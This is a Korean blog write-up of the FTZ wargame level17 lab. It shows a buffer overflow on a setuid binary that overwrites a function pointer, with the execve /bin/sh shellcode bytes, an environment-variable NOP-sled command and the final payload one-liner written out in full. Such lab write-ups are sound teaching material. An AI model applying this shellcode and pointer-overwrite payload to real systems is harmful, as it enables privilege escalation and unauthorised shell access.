보안 공부하는 꼬깔이

FTZ level17 풀이

 

 

 

level17의 홈디렉토리를 확인해보면 level18의 권한으로 setuid가 걸린 attackme 파일이 존재한다

 

hint 파일을 열어보자

 

 

hint 파일에 c언어 소스코드가 존재한다.  해석해보자

 

 

16번 문제와 소스코드가 비슷하다 하지만 shell 을 실행시키는 함수 부분이 제외되었다. 그렇다면 환경변수에 쉘코드를 등록하고 쉘코드 주소를 이용해 문제를 해결해보자

 

어떤식으로 문제를 해결할지 생각해보자

1 : buf[20] ~ *call 거리

2 : 쉘코드를 환경변수에 등록하고 주소를 확인

3 : *call위치를 쉘코드 주소로 덮어 씌우는 페이로드 작성

 

 

 

우선 buf[20] 에서부터 *call 까지의 거리를 알아보자

 

디버깅을 위해 attackme 파일을 tmp/ 디렉토리로 복사하자

 

0x08048530 <main+24>:   lea    eax,[ebp-56] 해당 부분을 확인해보면 buf에서부터 ebp의 거리를 확인할 수 있다.

buf[20]에서 부터 ebp 까지의 거리 = 56

 

0x080484e1 <main+57>:   mov    eax,DWORD PTR [ebp-16] 해당 부분을 확인해보면 call 에서부터 ebp의 거리를 확인 할 수 있다.

 

call 에서부터 ebp 까지의 거리 = 16


buf[20] 에서부터 call 까지의 거리 = (buf[20]에서부터 ebp까지의 거리) - (call 에서부터 ebp 까지의 거리) = 56 - 16  = 40

 

 

 

이제 쉘코드 주소를 환경변수에 등록하고 그 주소를 확인해보자

 

<SHELL CODE>

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

export shellcode=$(python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

 

해당 명령어로 shellcode를 환경변수에 등록

 

 

위 코드로 shellcode 주소 확인

 

 

쉘 코드의 주소 = 0xbffffef0

 

 

 

이제 본격적으로 페이로드를 작성해보자

 

기본적인 페이로드는 [buf[20] 에서부터 call까지의 거리] + [쉘코드주소] 이런식으로 작성할 것이다.

 

최종적인 페이로드는 (python -c 'print "\x90"*40+"\xf0\xfe\xff\xbf"';cat) | ./attackme

 

 

 

성공적으로 call 포인터 함수가 가르키는 주소가 쉘 코드 주소로 덮어 씌워져 쉘이 실행됬다. my-pass 명령어로 level18

패스워드 출력

 

level17 clear ~ 

 

'System Hacking > FTZ' 카테고리의 다른 글

FTZ level19 풀이  (0) 2017.07.04
FTZ level18 풀이  (0) 2017.07.04
FTZ level16 풀이  (0) 2017.07.04
FTZ level15 풀이  (0) 2017.07.04
FTZ level14 풀이  (0) 2017.07.04